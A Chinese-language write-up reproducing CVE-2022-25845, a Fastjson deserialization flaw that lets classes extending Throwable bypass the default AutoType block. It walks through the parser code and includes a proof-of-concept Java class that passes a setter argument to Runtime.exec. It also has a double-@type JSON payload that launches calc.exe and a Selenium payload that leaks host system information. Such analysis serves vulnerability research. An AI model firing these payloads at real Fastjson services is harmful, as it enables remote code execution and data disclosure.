CVE-2022-25845 漏洞复现
Fastjson前置知识
这里简单说一下自己的理解
详细的介绍可以参考Drun1baby的blog
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。
相关的函数包括JSON.parse() 和 JSON.parseObject()
简单的使用:
Json.ToString(person) //加上参数SerializerFeature.WriteClassName,用于表示所属类,会以@type作为属性名
-----序列化,调用了get方法
Json.parse(String) //没有指定属性名会默认将JSON反序列化为了JSONObject,不会调用任何方法
String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
JSON.parse(JSON_Serialize); //如果有则还会调用构造函数和set方法
JSON.parseObject(JSON_Serialize) //而parseObject()方法会同时调用setter和getter
JSON.parseObject(JSON_Serialize,Person.class)
会在反射获取的方法中循环遍历寻找特定的setter和getter。条件如下
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
AutoType简介
在Fastjson1.2.25版本里面,Java引入了checkAutoType()检查,会对加载的类进行白名单和黑名单检查。
autoTypeSupport默认为False,此时只会验证白名单
当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
开启AutoType的情况下有很多相关的绕过方式,可以自行查阅
这篇文章主要讲一下如何绕过AutoTyoe默认禁用策略——CVE-2022-25845
CVE-2022-25845 介绍
原理
绕过AutoTyoe默认禁用策略
漏洞的核心在于:只要目标类扩展了该类Throwable, Fastjson 就会很乐意反序列化任意类!
Demo
POC.java
import java.io.IOException;
public class Poc extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
POCDemo.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
public class PocDemo {
public static void main(String[] args) throws IOException {
String json = " {\"@type\":\"java.lang.Exception\",\"@type\":\"org.example.Poc\",\"name\":\"calc .exe\"}";
JSON.parseObject(json);
JSON.parse(json);
//Runtime.getRuntime().exec("calc.exe");
}
}
绕过AutoTyoe默认禁用策略
下面来分析一下
断点打在JSON.parseObject(json);开启调试
首先是parse嵌套,加载相关的类(loadClass)
DefaultJSONParser构造方法赋值完之后,在原来的parse函数当中执行 parser.parse()
然后执行 DefaultJSONParser.parseObject(final Map object, Object fieldName) 方法,其
中用key的值和 JSON.DEFAULT_TYPE_KEY 进行比较,如果符合条件则执行该if语句块的内容,if语句块当中执行了 ParserConfig.checkAutoType
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}
最终,使用所有默认标志,代码将到达config.checkAutoType()。在这里,我们可以看到被列入黑名单的类列表,因此无法通过 AutoType 机制实例化:
最终,代码将尝试找到用于反序列化 JSON 序列化类的反序列化器ObjectDeserializer:
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
在 ParserConfig.getDeserializer() 中,我们有一个关键检查,用于验证目标类是否正在扩展该类Throwable(正是漏洞的核心):
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
ThrowableDeserializer.deserialize()处理其余数据。如果找到“@type”,它将检查它autoTypeCheck()并继续正常反序列化:
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
因此,只要目标类扩展了Throwable, Fastjson就会正常反序列化它。
在这种情况下,负责创建反序列化类的函数**createException()**会查找 3 种不同类型的构造函数 - 一种没有任何参数,一种带有消息参数,一种带有消息和原因参数。之后,它将首先尝试调用更复杂的构造函数(causeConstructor,messageConstructor然后defaultConstructor),然后调用每个成员的setter方法。
利用方式
通过上面分析我们知道,当类扩展了Throwable, Fastjson就会正常反序列化它。因此只要我们找到一个扩展了Throwable的工具类,且它有可控的构造函数或者setter函数,就可以利用。
Selenium 数据泄露
目前发布是利用方式是来自Selenium包下的数据泄露的利用,,危害性很低
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}
反序列化此 JSON 最终将创建一个 HashMap,其中“y”设置为有关机器的一些基本信息:
"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"